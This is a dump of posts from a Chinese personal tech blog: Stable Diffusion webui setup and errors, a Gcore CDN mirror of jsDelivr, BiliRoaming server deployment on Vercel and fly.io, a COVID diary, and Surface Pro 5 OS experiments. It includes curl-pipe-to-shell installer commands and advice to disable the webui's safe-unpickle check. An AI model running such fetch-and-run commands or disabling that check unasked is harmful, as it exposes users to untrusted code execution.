set COMMANDLINE_ARGS=--deepdanbooru --medvram --no-half-vae
set PYTORCH_CUDA_ALLOC_CONF=garbage_collection_threshold:0.9,max_split_size_mb:64

call webui.bat

这里多的后面会说

设置好启动参数以后,我们还需要下载一个模型,因为没有模型文件是启动不了的(这里模型不一定要是是官方的,官方的模型链接在Dependencies · AUTOMATIC1111/stable-diffusion-webui Wiki (github.com),但你也可以到我的分享站或者社区群体开的站SD - WebUI 资源站去下载)

把你下载好的模型,放到项目文件夹的models/Stable-diffusion文件夹下(没有的话自己创建一个)

我们双击webui-user.bat,它会自动进行环境的安装(当然Python是要预先装好的

整个过程会比较漫长,如果因为网络原因安装不下来的话试试挂个梯子

当看到如图所示的提示的时候,就说明已经开好了,我们可以访问给出的链接进入webui(默认端口是7860,但我开了一个实例在7860了,所以它就自动顺延到7861,实际使用请注意控制台给出的端口号)

访问给出的链接,我们就能到我们的webui控制台了

安装模型及关键词

这个其实上面提到了,就是把ckpt文件(checkpoint)丢到models/Stable-diffusion文件夹就行

不过我们下载到的东西不一定是ckpt文件,还有.vae.pt.pt文件,

简单来说,一般遵循以下原则(当然特殊问题特别看待哈,你别提供给你文件的人说放在指定的位置,你还按照我的这个来)

PT的使用方式:Pt放embeddings文件夹,施法输入对应文件名即可

在webui中能直接选择的其实就是models/Stable-diffusion里面的模型,在左上角有个选择框,如果你放进去了选择框里没有的话,你可以点一下左边的刷新

在这里选择我们想要的模型以后,我们就可以开始成图了

开始跑图

刚访问自己的webui,里面应该是像我这个这样

软件主界面

左上角显示目前选择的模型,下面有两个大框框,上面输入的是正面tag(就是你想要的图片里面应该是什么样的),下面的是负面tag(就是避免什么样的图)

然后再往下有个Sampling method是采样方式,就是生成图的时候,要用什么样的方式来对模型进行采样,这里我用得比较多的是Euler a EulerDDIM,右边是Sampling steps采样步数,采样步数越多越接近于你想要的图(不过是类似对数函数那样的,过大反而收益低)

再往下WidthHeight就是生成图片的宽度和高度,不宜太大,否则会爆显存(CUDA:Out of Memory),我3060用1280*720没问题

右半边有Batch Count生成图片的数量和Batch size是损失函数,一般只调整数量,关于这两个推荐阅读 → Batch Size的相关问题及如何选择Batch Size的大小 - 知乎 (zhihu.com)

往下有Seed,这个玩MC的应该不用说,种子嘛

还有个选项Hires. fix,这个是高清修复,说白了就是图片放大,同样小心爆显存!!!再往下的可以跳过了

现在,在上面的框框输入以下内容

masterpiece, best quality, official art, extremely detailed CG unity 8k wallpaper

在下面的框框里面输入

lowres, bad anatomy, bad hands, text, error, missing fingers, extra digit, fewer digits, cropped, worst quality, low quality, normal quality, jpeg artifacts, signature, watermark, username, blurry, bad feet,

然后点击右边的generate,等待大约两分钟,看到右边生成了一张图片(生成的图片取决于模型以及随机生成的种子,所以每次生成基本都是不一样的)

恭喜你!你已经会使用基本的SD功能了!生成的图片可以在outputs/txt2img-images里面找到!

启动项详解

在上面的教程中你会看到,我的启动项多了很多东西。在这里我把上面的东西搬下来

1
2
3
4
5
6
7
8
9
@echo off

set PYTHON=
set GIT=
set VENV_DIR=
set COMMANDLINE_ARGS=--deepdanbooru --medvram --no-half-vae
set PYTORCH_CUDA_ALLOC_CONF=garbage_collection_threshold:0.9,max_split_size_mb:64

call webui.bat

这里PYTHON GIT VENV_DIR这三个不用动(除非你知道你在做啥),我们主要关注下面两个

COMMANDLINE_ARGS是Stable-diffusion-webui的启动项,--deepdanbooru是训练tag的时候用的,可以在图片分割预处理的时候自动推断包含的tag,--medvarm就是怕炸显存才加的,上面也说过了,--no-half-vae主要用于解决生成图片时控制台报modules.devices.NansException的问题(看下面的报错环节)

PYTORCH_CUDA_ALLOC_CONF是给CUDA用的启动参数,这里garbage_collection_threshold决定了缓存的新旧与否(一般用0.5),而max_split_size_mb是CUDA分割内存的时候的分割快的大小。这个启动参数一般不用设置,除非你要训练模型啥的

插件安装

SD是可以安装插件的,而安装插件的方式很简单,在上方找到Extensions选项卡,然后再选择Avaliable,点击Load from:按钮(就那个橙色的),加载完后下面会出来个列表,在里面选择自己想要的就可以了

我这里装了一个image browser用于看图

报错以及相关的解决方式

生成图片时控制台报modules.devices.NansException

在启动参数里面加入--no-half-vae即可

加载模型时出现RuntimeError

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
changing setting sd_model_checkpoint to animefull-final-pruned.ckpt: RuntimeError
Traceback (most recent call last):
File "F:\Git\stable-diffusion-webui\modules\shared.py", line 534, in set
self.data_labels[key].onchange()
File "F:\Git\stable-diffusion-webui\modules\call_queue.py", line 15, in f
res = func(*args, **kwargs)
File "F:\Git\stable-diffusion-webui\webui.py", line 84, in <lambda>
shared.opts.onchange("sd_model_checkpoint", wrap_queued_call(lambda: modules.sd_models.reload_model_weights()))
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 441, in reload_model_weights
load_model_weights(sd_model, checkpoint_info)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 240, in load_model_weights
sd = read_state_dict(checkpoint_info.filename)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 218, in read_state_dict
pl_sd = torch.load(checkpoint_file, map_location=map_location or shared.weight_load_location)
File "F:\Git\stable-diffusion-webui\modules\safe.py", line 106, in load
return load_with_extra(filename, extra_handler=global_extra_handler, *args, **kwargs)
File "F:\Git\stable-diffusion-webui\modules\safe.py", line 151, in load_with_extra
return unsafe_torch_load(filename, *args, **kwargs)
File "F:\Git\stable-diffusion-webui\venv\lib\site-packages\torch\serialization.py", line 705, in load
with _open_zipfile_reader(opened_file) as opened_zipfile:
File "F:\Git\stable-diffusion-webui\venv\lib\site-packages\torch\serialization.py", line 242, in __init__
super(_open_zipfile_reader, self).__init__(torch._C.PyTorchFileReader(name_or_buffer))
RuntimeError: PytorchStreamReader failed reading zip archive: failed finding central directory

解决方式:换个模型,该模型可能已经损坏

加载模型时出现AttributeError

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-----> !!!! The file is most likely corrupted !!!! <-----
You can skip this check with --disable-safe-unpickle commandline argument, but that is not going to help you.


Failed to load checkpoint, restoring previous
Loading weights [7373d84140] from F:\Git\stable-diffusion-webui\models\Stable-diffusion\momoco_18000.ckpt
Applying cross attention optimization (Doggettx).
changing setting sd_model_checkpoint to animefull-final-pruned.ckpt: AttributeError
Traceback (most recent call last):
File "F:\Git\stable-diffusion-webui\modules\shared.py", line 534, in set
self.data_labels[key].onchange()
File "F:\Git\stable-diffusion-webui\modules\call_queue.py", line 15, in f
res = func(*args, **kwargs)
File "F:\Git\stable-diffusion-webui\webui.py", line 84, in <lambda>
shared.opts.onchange("sd_model_checkpoint", wrap_queued_call(lambda: modules.sd_models.reload_model_weights()))
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 441, in reload_model_weights
load_model_weights(sd_model, checkpoint_info)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 240, in load_model_weights
sd = read_state_dict(checkpoint_info.filename)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 223, in read_state_dict
sd = get_state_dict_from_checkpoint(pl_sd)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 194, in get_state_dict_from_checkpoint
pl_sd = pl_sd.pop("state_dict", pl_sd)
AttributeError: 'NoneType' object has no attribute 'pop'

(治标不治本)在启动项添加--disable-safe-unpickle

资源推荐

模型下载站

主页 | SD - WebUI 资源站 (123114514.xyz)

首页 - NovelAI - Share4Nothing (share4nothing.cf)

AI绘画模型博物馆: http://aimodel.subrecovery.top

Tag列表

魔咒百科词典 (aitag.top)

NovelAI法术书 - Google 云端硬盘(要梯子)

NovelAI tag在线生成器

NovelAI魔导书

元素法典——Novel AI 元素魔法全收录

上述资源的QQ频道

NovelAI中文频道(u31uiz208r)

魔导师学院(2p6k6vzg5i)

没有频道功能点这个激活频道功能:点击链接加入QQ频道【接驳巴士】:https://pd.qq.com/s/47hvnz3w2

模型训练

易于上手的教程:https://qun.qq.com/qqweb/qunpro/share?_wv=3&_wwv=128&appChannel=share&inviteCode=1YB4AvdMsUl&contentID=1fAzWY&businessType=2&from=181174&shareSource=5&biz=ka

云平台

Kaggle: Your Home for Data Science

欢迎使用 Colaboratory - Colaboratory (google.com)(要梯子)

梯子

用户注册 | 三分机场 (xn–ehq00hgtfdmt.xyz)

Airports 个人机场/订阅汇总 - Airports (share4nothing.cf)

P站资源

本人:喵呜初音 - pixiv

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + 将jsdelivr镜像源迁移到Gcore —— Gcore CDN使用 + + /posts/Migrate-jsdelivr-mirror-to-Gcore/ + +

这几天一直在弄点其他的东西,昨天弄了个哔哩漫游的服务器(用的vercel),然后一看我的vercel的流量使用,这才多久就已经60G了,一个月的限额可是100G

让我想起上次我的服务被打,一天就区队去掉了150G,vercel直接给我报警,我就在想有没有其他的代替方案

虽然Vercel会判定为DDoS攻击,但是确实很恼人,而且流量没了以后Vercel是会闹脾气的,上次跟群友(就ClientWorker | 一个基于规则驱动的前端路由拦截器的维护者)讨论过这个问题,然后说建议弄个缓存,不过我对Vercel没有研究的多仔细,所以就没弄了

今天突然想到可以用Gcore,它有类似于CloudFlare的CDN服务,而且还挺快的,说干就干!


战前准备

  • Gcore账号
  • 自己的域名
  • 脑子

创建CDN资源

首先我们在左侧找到CDN,然后新建一个资源

加速类型我们选择第二个(第一个要改的东西太多了而且设置很麻烦还是算了吧)

第二步是设置源站和自定义域名,源站就直接填入cdn.jsdelivr.net,自定义域名就填自己的域名就好了,HTTPS打开,然后选择第一个Get free Let's Encrypt certificate

这里有个坑:如果你要使用自己的证书,不要用Cloudflare的SSL里面颁发的证书,没有Cloudflare小云朵的庇护的话那个证书是无效的!(这个坑了我至少半小时)

接着我们去DNS那里加一条记录(这里CNAME是跟账户绑定的,我的我自己用*屏蔽了)

后面直接确认过去就好了,要用CDN的话直接将资源文件的域名改为你的自定义域名

修改设置

这里有几个要改的设置

Origin pull protocol

这个是修改为源的协议就行了,如果你的源站,支持啥就选啥,因为jsd支持HTTPHTTPS所以我直接选择了第三个

Custom domain

这里可以添加自己的自定义域名,具体不讲,添加CDN资源的时候应该都加完了

CDN caching

这里设置CDN的缓存时间,按照自己的需求设置

Redirection from origin

这个很重要!!!如果不打开的话,访问的用户遇到重定向会直接重定向到指向的链接,打开的话CDN这边就会获取重定向后的内容然后返回给用户。因为jsd重定向到raw.githubcontent.com,这个国内会404,所以如果是jsd的反代的话一定要打开,下面的状态码直接全部选上就行了

Browser caching

这个用来控制浏览器端的缓存,根据自己的需要设置

Redirect HTTP to HTTPS

重定向到HTTPS,懂得都懂

GZip compression

这个是启用压缩,如果开了的话经过CDN的内容会压缩,省流

Response headers (add)

可以添加自定义headers,我这里加的东西如图

显示如下

Response headers (hide)

可以隐藏某些headers项,但是我想不到有啥用

Downlaod speed limit

设置下载速度,应该没啥用

Basic WAF

这个还处于Beta测试,说白了就是添多一层WAF

修改规则

在RULES选项卡(左边)可以到规则页面,可以添加自己的规则。我这里是什么都没有加,到时候封仓库的时候再用

总结

这是我第一次用真正意义上的CDN,Gcore还是挺好用的,速度也很快,一个月有1T的流量,应该够用了吧……

]]>
+ + + + + Tech + + + + + + + Gcore + + CDN + + jsdelivr + + + +
+ + + + + 使用Vercel平台部署哔哩漫游服务器(HK、SEA) + + /posts/Deploy-biliroaming-typescript-server-with-vercel/ + +

上次用fly.io部署了biliroaming-go-server教程),但是那个有bug,而且要求比较高(要信用卡,而且要服务器),这几天我在Github有找到了一个项目,可以将哔哩漫游服务器部署在Vercel上面


前置条件

  • 一个Github账号
  • Vercel平台

开始使用

我们直接访问这个项目的地址 -> bili-vd-bak/biliroaming-ts-server-vercel: 为BiliRoaming、哔哩UWP 等提供支持。包括支持基本功能、搜索替换、黑白名单的哔哩漫游服务端。部署在Vercel HK1。 (github.com)

然后fork一下这个项目,就点击顶上的fork键就好了,默认部署是在香港(hkg1),如果需要修改位置(只有香港和东南亚可选),则直接点开仓库里的vercel.json然后把里面的regions改掉

1
2
3
4
5
6
{
"cleanUrls": true,
"regions": [
"hkg1"
]
}

改成下面这样

1
2
3
4
5
6
{
"cleanUrls": true,
"regions": [
"sin1"
]
}

部署项目

访问Vercel(Develop. Preview. Ship. For the best frontend teams – Vercel),登陆以后,新建一个项目

然后import一下刚刚fork的项目

直接点击Deploy,然后等待部署完毕,点击Visit,顶上的链接就是你的服务器地址啦!

使用服务器

在哔哩漫游里面的对应位置填上服务器地址即可!

Bugs

目前没发现

]]>
+ + + + + Tech + + + + + + + Tech + + Host + + flyio + + biliRoaming + + + +
+ + + + + 与新冠肺炎搏斗的那些日子 + + /posts/Fight-against-COVID19/ + +

2022年12月18日下午,我感到十分地不适,在那之前,我们学院里有出现过COVID19(新冠肺炎)病例,所以整个学院都是在疫情管控状态,当我感受到我不适的那一刻我就知道,我很有可能是中招了。我第一次测量体温是37.4(刚刚过发烧线37.3),然后就把我丢到了临时的隔离房间去隔离去,说观察一个晚上再决定是否把我拉去隔离。

2022年12月18日晚,最后一次测量体温是38.1,此时的感觉是喉咙非常地干(话说这个自早上就是这样的了),而且四肢无力,特别是之前动过手术的左腿膝盖那个位置,很酸痛。

我就是带着各种不适的感觉睡了觉,期间起了三次,分别是十一点半、两点和四点

2022年12月19日,早上第一次测量体温,体温飙到了38.3度,这个被拉去隔离没跑了,早上四节课睡了两节课,中午就通知说去统一隔离点隔离,等中午过来以后第一次测了个体温,38.4,感觉头痛、四肢无力、喉咙干、有点流鼻涕、怕冷,来到隔离房间先倒头一睡,下午上课其实也心不在焉。等到了五点钟再测一次体温,好家伙直接给我干到了38.9度,稍微躺了躺感觉好了点,七点钟再测一次,体温下滑到了37.3度,虽然还是发烧,但是没那么严重了,症状轻了一些(当然也有可能是打了一下午COD的结果)

2022年12月20日,本来昨天是37.3的来着今早又到了38.1,说实在,感觉身体很酸痛,而且昨天的症状除了怕冷以外都还在,早上的第一二节课没有直播的那种网课,所以就开始了摸鱼模式,第三四节课概论说白了听了跟没听没区别。。。中午睡了个大觉,醒来已经14:44了(我们14:30下午上课),赶紧打开腾讯会议进去(至少是露个脸嘛),然后又开始摸鱼了(因为是中国近现代史纲要这门课程),下午测体温降到了37.4,然后跟群友玩了会Goose Goose Duck,刚开始玩也不同太懂怎么玩,玩完了等待吃饭

2022年12月21日,今天的体温稳定在37.4(发烧了,但是低烧),早上状态还行,就是喉咙痛,咳嗽,流涕;早上直接打开了FGO用脚本开始刷材料(太无聊了),一个手机开着电工网课,苏菲开着崩崩崩(FydeOS上装了一个),开始玩了起来。下午跟群友开始打CSGO官匹五黑,不能说我水平有多高,至少打得很快乐;晚上跟工作室的小伙伴一起打派派,第一把就成为了捍卫者(“这——是你的捍卫者”),后面就没吃过鸡了,不过体验还行,打下来发现头有点痛,唉不管了睡觉去了

2022年12月22日,早上没测体温,但是第一感觉是:头痛!小睡了一下,七点二十左右起的床,吃个早餐准备上课,这天没发烧,就是咳嗽很厉害,而且流鼻涕。

2022年12月23日,已经不怎么流鼻涕了,但是还是会咳嗽。晚上打了BF1,应该说其他小队太菜了嘛,我们四人小队拿第一(五人但是最后一个是几乎最后才加入的水友)。开了100个胶囊,发了俩视频,愉快的一天过去了

2022年12月24日,没怎么流鼻涕了,但是咳嗽,难受得很,头不痛。早上听到了一首很好听的V家曲(在下面),等待中午吃饭……

        

2022年12月25日,除了咳嗽基本没有什么症状了,好烦啊周日还要上课= =,唉没办法,期末考试提前一周了,慢慢来吧

2022年12月26日,上级好烦啊,做个展板要求又多,你又不给我工资,我还要为你累死累活真tm烦,太难了,明天抗原阴性就可以回去楼里隔离了,晚上继续战地1,第一次感到烂橘子比EA Desktop好用???!

2022年12月27日,抗原阴性,会楼里去了,早上玩了会死亡搁浅(键鼠玩的)。至此,我已经阳康啦!

]]>
+ + + + + Diary + + + + + + + Diary + + COVID19 + + experience + + + +
+ + + + + 使用Fly.io平台部署哔哩漫游服务器 + + /posts/Deploy-biliroaming-go-server-with-flyio/ + +

做这个是因为之前 @wuki 问我说能不能用Deploy app servers close to your users · Fly这个平台弄哔哩漫游服务器,然后借了我一个号,结果陆陆续续总共拖了将近半年才弄出来,在这留个记录。

请注意:fly.io平台免费账户需要信用卡验证后才能够部署项目!


这里我们使用的项目是JasonKhew96/biliroaming-go-server (github.com)

根据fly.io官方的文档,有以下地区可选(Regions · Fly Docs

Region IDRegion LocationGateway*
amsAmsterdam, Netherlands
cdgParis, France
denDenver, Colorado (US)
dfwDallas, Texas (US)
ewrSecaucus, NJ (US)
fraFrankfurt, Germany
gruSão Paulo
hkgHong Kong, Hong Kong
iadAshburn, Virginia (US)
jnbJohannesburg, South Africa
laxLos Angeles, California (US)
lhrLondon, United Kingdom
maaChennai (Madras), India
madMadrid, Spain
miaMiami, Florida (US)
nrtTokyo, Japan
ordChicago, Illinois (US)
otpBucharest, Romania
sclSantiago, Chile
seaSeattle, Washington (US)
sinSingapore
sjcSunnyvale, California (US)
sydSydney, Australia
wawWarsaw, Poland
yulMontreal, Canada
yyzToronto, Canada

在这里我们选择的就是香港地区(hkg),在部署中,它的cli是把当前目录下的文件打包为docker镜像上传到它的镜像库中再进行部署的

安装CLI

官网提供的安装方式如下

macOS

If you have the Homebrew package manager installed, flyctl can be installed by running:

1
brew install flyctl

If not, you can run the install script:

1
curl -L https://fly.io/install.sh | sh

Linux

Run the install script:

1
curl -L https://fly.io/install.sh | sh

Windows

Run the Powershell install script:

1
iwr https://fly.io/install.ps1 -useb | iex

但是因为我的网络太小霸王了,所以我用了Github的Codespaces来作为中介去干这个

使用Github Codespaces

在这个绿绿的Code按钮里面点到Codespaces,然后创建一个(我这里创建过了所以有一个)

直接打开,可以在网页打开,也可以接入自己的Vscode,进入以后按快捷键Ctrl + L-Shift + `打开一个终端,并把安装flyctl的命令写进去

这样就是安装完毕了,估计是Codespaces的机制问题,所以需要通过绝对路径去访问它

输入一下命令来登录(这里我就不打绝对路径了,这里假设是用本地电脑且flyctl已经加入环境变量)

1
$ flyctl auth login

然后终端会显示一个链接,如果你跟我一样用的是Codespaces,那就把这个链接放到自己的浏览器里面去访问登录就行了,如果你是本地运行,应该会自动打开登录页面(没截图,登录应该是小问题)

初始化项目

首先打开.gitignore文件和.dockerignore文件(如果有的话),把里面的内容全部删掉,因为部署的时候我们是需要把配置文件给一起上传的,而.gitignore把这些文件都排除掉了,所以要删掉里面的所有内容

再打开fly.toml,在最底下加上这些内容

1
2
[build.args]
BP_KEEP_FILES = "*"

不这么做的后果↓

1
2
3
4
5
6
7
8
9
10
11
12
2022-12-19T10:02:56.427 runner[86dbcaaa] hkg [info] Starting instance
2022-12-19T10:02:58.492 runner[86dbcaaa] hkg [info] Configuring virtual machine
2022-12-19T10:02:58.494 runner[86dbcaaa] hkg [info] Pulling container image
2022-12-19T10:02:59.436 runner[86dbcaaa] hkg [info] Unpacking image
2022-12-19T10:02:59.450 runner[86dbcaaa] hkg [info] Preparing kernel init
2022-12-19T10:02:59.946 runner[86dbcaaa] hkg [info] Configuring firecracker
2022-12-19T10:03:00.411 runner[86dbcaaa] hkg [info] Starting virtual machine
2022-12-19T10:03:00.671 app[86dbcaaa] hkg [info] Starting init (commit: f447594)...
2022-12-19T10:03:00.700 app[86dbcaaa] hkg [info] Preparing to run: `/cnb/process/biliroaming-go-server` as 1000
2022-12-19T10:03:00.723 app[86dbcaaa] hkg [info] 2022/12/19 10:03:00 listening on [fdaa:0:6690:a7b:7f07:86db:caaa:2]:22 (DNS: [fdaa::3]:53)
2022-12-19T10:03:00.816 app[86dbcaaa] hkg [info] 2022/12/19 10:03:00 stat ./config.yml: no such file or directory
2022-12-19T10:03:01.705 app[86dbcaaa] hkg [info] Starting clean up.

接着我们把Dockerfile删掉,因为如果有这个文件的话,flyctl会把这个判定为docker项目,这样的话我们就很难把配置文件丢进去,所以我们要更改它的判定,将判定改为go项目,所以要删掉这个

然后运行以下命令来初始化,跟着它的提示进行就行,只是最后问我们要不要部署,我们先选择不部署,因为我们接下来要导入数据库(记得把弹出来的数据库连接信息记住,因为它只会展示一次,然后就找不到啦)

接着我们修改一下项目的端口,将config.example.yml复制一份,为config.yml找到port,把后面的数字改为8080

接着我们打开config.yml修改数据库配置,找到以下内容,注释掉passwordFile,然后修改配置为我们前面创建数据库时给的内容

1
2
3
4
5
6
7
8
# 数据库
postgreSQL:
host: "<app_name>-db.internal"
user: "postgres"
password: 'password'
#passwordFile: "/run/secrets/db-password"
dbName: "<db>"
port: 5432

导入数据库

fly.io的创建的数据库进行连接的时候是使用内部域名进行连接的(格式大概是<app_name>-db.internal,所以我们不能够通过正常的方式进行连接。所幸,flyctl里面可以把数据库给映射到本地

使用以下命令进行映射

1
$ flyctl proxy 5432 -a <db_name>

这里我就使用下面这个命令进行连接

1
$ flyctl proxy 5432:5432 -a biliroaming-tutorial-db

显示如下内容的时候就是可以进行连接了

1
Proxying local port 5432 to remote [biliroaming-tutorial-db.internal]:5432

codespaces还可以在PORTS选项卡里看到绑定的本地端口

这里使用navicat进行连接,在测试之前一定要确保信息填对了

连接以后,我们在左侧可以看到两个数据库,一个是postgres,一个是<app_name>用哪个随便,不过如果要用<app_name>那个,就需要在配置文件里面相应地改掉(在初始化项目那里的数据库连接那个地方)

右键自己需要使用的数据库,选择Execute SQL File(执行SQL脚本,我这里是英文版),然后逐个将项目的sql文件夹内的脚本执行,构建数据库结构

部署项目

使用以下命令来部署项目

1
$ flyctl deploy

如果在部署过程中遇到了下面这个问题(用codespaces就出现了,不过这个好像是它服务器的部署器的问题而不是我codespaces的问题)

1
Error failed to fetch an image or build from source: downloading buildpack: extracting from registry gcr.io/paketo-buildpacks/go: fetching image: error pulling image configuration: error parsing HTTP 403 response body: invalid character '<' looking for beginning of value: "<?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message><Details>We're sorry, but this service is not available in your location</Details></Error>"

那就要加多个--local-only参数,变成

1
$ flyctl deploy --local-only

当你的fly.io项目的monitor里面显示如下就是部署成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
2022-12-19T10:35:04.789 runner[fa79ac75] hkg [info] Starting instance
2022-12-19T10:35:07.119 runner[fa79ac75] hkg [info] Configuring virtual machine
2022-12-19T10:35:07.121 runner[fa79ac75] hkg [info] Pulling container image
2022-12-19T10:35:14.098 runner[fa79ac75] hkg [info] Unpacking image
2022-12-19T10:35:15.511 runner[fa79ac75] hkg [info] Preparing kernel init
2022-12-19T10:35:15.926 runner[fa79ac75] hkg [info] Configuring firecracker
2022-12-19T10:35:16.157 runner[fa79ac75] hkg [info] Starting virtual machine
2022-12-19T10:35:16.547 app[fa79ac75] hkg [info] Starting init (commit: f447594)...
2022-12-19T10:35:16.591 app[fa79ac75] hkg [info] Preparing to run: `/cnb/process/biliroaming-go-server` as 1000
......
2022-12-19T10:35:17.834 app[fa79ac75] hkg [info] DELETE FROM "th_subtitle_caches" WHERE ("th_subtitle_caches"."updated_at" <= $1);
2022-12-19T10:35:17.834 app[fa79ac75] hkg [info] [2022-12-19 10:20:17.834077308 +0000 UTC]
2022-12-19T10:35:17.835 app[fa79ac75] hkg [info] 2022-12-19T10:35:17.835Z DEBUG biliroaming-go-server/main.go:124 Cleanup 0 TH subtitle cache

获取ipv4地址

因为fly.io默认只分配了ipv6地址,然而ipv6还没有普及,我们还是需要ipv4的

使用以下命令来为项目获取ipv4地址

1
$ flyctl ips allocate-v4 -a <app_name>

会显示获取到的IP地址等信息

1
2
VERSION IP              TYPE    REGION  CREATED AT 
v4 149.248.221.246 public global 7s ago

已知的bug

显示“账号未登录”

]]>
+ + + + + Tech + + + + + + + Tech + + Host + + flyio + + biliRoaming + + + +
+ + + + + 就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作 + + /posts/Enchance-my-Surface-Pro-5/ + +

今年的九月份,我卖掉了我的老联想 Yoga 370,然后购置了一台Surface Pro 5顶配版给我自己用

起初是想当做笔记本用的(因为可以用笔),后来才发现有很多的用途

本文旨在记录我在Surface Pro 5上面的各种骚操作,以及我的个人使用体验,告诉你为什么在2202年,我还要选择一台仅仅配置是7代i7的微软亲儿子Surface Pro 5

先上两张实物图(背膜是拿图片找某宝做的)


购买

很简单,鱼子上面一搜,就有很多,我找的是个人使用的那种(其实鱼子上面很轻易能看出谁是二道贩子,谁是个人卖家),卖家跟我说电池有点问题,其他没啥问题。我想都17年还是18年的产品了,电池有点问题也是正常的事情,然后就一拍即合,拍下了这台苏菲Pro 5

等我拿到手以后,我发现事情没有那么简单,确实是电池有问题,但是这个电量显示完全不准,有可能我还在办公,电池剩下50%左右的电量就直接给我关机了,等我怎么按下开机键也没用,接上电源后才发现是没电了。

于是我在某宝上一搜,果然有换电池的,价格在280~450不等,我想这个价格也算是合理,毕竟苏菲这东西集成度太高了,拆的也难。于是我找了一家标价是280的,然后把机子寄了过去换电池。

某天晚上自习课刚下课,突然我的OPPO Watch接到一通电话,一听才知道是某宝维修商,他说我的电脑不仅是电池有问题,主板还漏电,对钱比较敏感的我问了一句修这个花多少钱,总之最后价格讲下来就是460

拿到修好的苏菲,我就开始了我的捣鼓之旅。

Windows(Windows11)体验

既然是微软亲儿子,那Windows的体验是少不了的,我这台装的是Windows 11 Professional(专业版)

既然Surface是一个笔记本(真笔记本,不是电脑层面的笔记本),那肯定得走一波手写笔的体验

我用了巨硬自带的OneNote for Windows 10(没错Win11还用的是Win10的),这个东西在我弄数学建模竞赛的时候发挥了非常大的作用

而且Onenote有个好处,如果你在其他机器上登陆同一个Onenote账户,可以直接同步(下面这个是我游戏本上的截图)

当然,因为Surface独有的触屏体验,还可以玩Osu(虽然以前那台LENOVO也可以点着玩)【忘截屏了】

还可以拿来推GALGAME(没下完,就截个Steam意思意思吧),但是拿来打CSGO那就是小霸王了(一帧能玩,两帧流畅,三帧电竞)

这个3:2的屏幕,写代码也是杠杠的(图为弄数模的时候的数据处理)

还可以顺带玩一玩SDVX(民间版本,不外传,因为禁用了键盘所以是拍的)

再加上Win11对触屏本身的BUFF加持,让苏菲变得比某希沃好用多了

Linux(Ubuntu)体验【略】

因为我用Ubuntu的时候没截屏过,然后输入法配置问题把我搞得心态崩了直接把Ubuntu删了,所以这一届没有图片

总的来说是还可以,但是要经过一番配置才可以,你需要安装一个Kernel才能解锁Surface的全部功能(包括触屏等)

使用的项目是这个https://github.com/linux-surface/linux-surface

安装方法见Installation and Setup · linux-surface/linux-surface Wiki (github.com)

FydeOS(ChromeOS衍生版)体验

装了FydeOS的Surface Pro 5

为啥我会选择装ChromeOS?这个要从一个想法说起。本来我就是个音游玩家,一直在用手机玩音游,没怎么用过平板来玩(以前嫖过别人的平板不过那也是别人的),平板玩音游的优势很大,主要还是屏幕大。我一开始选的是Bliss OS For PC,这个里面是个Android x86系统,但我不知道是苏菲特色还是咋地,不管是BlissOS 11、BlissOS 14 还是 BlissOS 15(如果过不了那个logcat可以F12里面直接找下载链接,这里放一个 -> BlissOS 15 with Gearlock)装在我的Surface上就一直起不来(进不了系统,有的卡在grub,有的卡在kernel load,有的直接重启),所以我就只能另辟蹊径

我想起之前用过的FydeOS,但是用的是以前的那个联想装的,还很不成熟,只能在U盘里面使用,装东西也只能装在那个里面,所以当时就放弃了。时隔一年,我又再次下载下来发现已经跟之前很不一样了,现在可以安装在硬盘里面了(安装过程省略,才不是我没有截图呢),安装的时候如果你要保留Windows,记得让安装程序帮你配置rEFInd,要不然会很麻烦

开机后直接就是一张壁纸,下面是任务栏(启动器)

从下往上滑,打开应用列表,有个非常显眼的东西:安卓设置,点开以后会有个EULA,同意了就可以打开安卓子系统了(其实是Arc - Android Runtime on ChromeOS)

打开Android子系统后,可以在关于里面看到是Android 9(原生的)

用我们的常规手段打开开发者选项后,就可以打开adb调试了,然后可以在ChromeOS的Linux开发者容器里面用adb连接

你还可以在FydeOS的应用商店里面找到配置 OpenGapps这个应用,打开它,我们就可以安装GAPPS套件了

你可以预先下好Clash啥的软件,方便后续使用

关于VPN服务,真的要点个赞,当你在Android子系统中使用VPN服务时,FydeOS会自动将VPN应用于整个OS里面,也就是说当我打开Clash的时候,不仅仅是Android子系统的软件可以走代理,FydeOS的Chromium也上了代理,不用再在Linux容器里面装多个v2rayL啥的东西了

接着就是装一堆音游啦!既然有了Google Play商店,我就从Play商店里面下载(Cytus2本来在B站下的,因为给B站充钱了,但是在这上面会闪退而Play版就不会,辣鸡龙渊能不能让我转国际区……)

在这个上面玩音游的体验不能算是优秀,只能算是中规中矩,有些音游在上面玩的有点卡(例如阿卡伊,当然不排除我真的不会玩阿卡伊),华为玩音游有的现象在这上面基本都有(指吃音)

不过这个系统的Android和ChromeOS之间几乎没有隔阂,这个体现在分享上面,你可以直接分享到Android的应用中

我还在这上面装了崩崩崩、PCR(多聚酶链式反应)、FGO(非酋系列)、明日方舟这几个游戏,本来装了原的,但是原的体验并不好,跟在我的红米NOTE 11上面打感觉没什么两样,就删掉了

不过这个Android有一个缺点:不能root,我正在寻找root的方式不过这肯定要很久,或许我会找不到。本来我想试试在Windows下用DiskGenius把boot.img直接提取出来修补的,但是FydeOS的目录结构非常奇怪,我是真的没有找到,慢慢来吧……

安装Linux子系统出现问题

在开启Linux虚拟机的时候提示安装Linux时出错 - 启动虚拟机时出错,请重试;打开Linux终端提示Error starting penguin container: 5 Launching vmshell failed: Error starting crostini for terminal: 5

可以通过查看/var/log/messages这个文件来看看问题出在哪,先Ctrl + Shift + T打开Crosh(ChromeOS的终端入口),然后输入shell打开终端,接着输入sudo su进入root用户才能看到

我这里看到的日志如下(节选了报错部分)

1
2
3
4
5
6
7
2022-12-20T04:42:38.583489Z INFO vm_concierge[3233]: Preallocating user-chosen-size raw disk image
